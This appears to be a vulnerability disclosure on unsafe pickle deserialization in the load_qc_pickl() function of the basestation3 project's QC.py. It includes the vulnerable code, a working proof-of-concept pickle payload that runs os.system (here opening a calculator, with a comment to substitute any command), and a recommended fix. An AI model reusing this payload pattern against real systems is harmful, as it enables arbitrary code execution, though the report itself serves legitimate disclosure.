### Key Information Summary #### Vulnerability Description - **Issue**: In the `load_qc_pickl()` function of the `QC.py` file, Python's `pickle.load()` method is used to deserialize file data without validating or sanitizing the input. - **Impact**: If an attacker provides a malicious pickle file, loading the file can execute arbitrary code, leading to a Remote Code Execution (RCE) vulnerability. #### Vulnerable Code Snippet ```python def load_qc_pickl(qc_file): try: f1 = open(qc_file, "rb") except Exception: return None ret_list = [] while True: try: x = pickle.load(f1) except EOFError: break ``` #### Impact - Arbitrary code execution - If the attacker can control `qc_file`, it may lead to compromise of the remote system #### Affected Component - File: `QC.py` - Function: `load_qc_pickl(qc_file)` - `pickle.load()` used without input validation #### Reproduction Steps 1. Clone the repository: `git clone https://github.com/iop-apl-uw/basestation3` 2. Navigate to the `basestation3` directory: `cd basestation3` 3. Create a malicious `qc.pkl` file: ```python import pickle import os class Evil: def __reduce__(self): return (os.system, ("gnome-calculator",)) # Replace with any OS command payload = pickle.dumps(Evil()) with open("qc.pkl", "wb") as f: f.write(payload) ``` 4. Create and run an `exploit.py` file: ```python from QC import load_qc_pickl load_qc_pickl("/root/CVE/qc.pkl") ``` 5. Observe if the calculator opens, confirming that arbitrary commands can be executed. #### Recommended Fix - Avoid using `pickle` to load untrusted data. - If serialization/deserialization is necessary, use secure alternatives such as `json.load()` or custom binary formats, along with proper validation.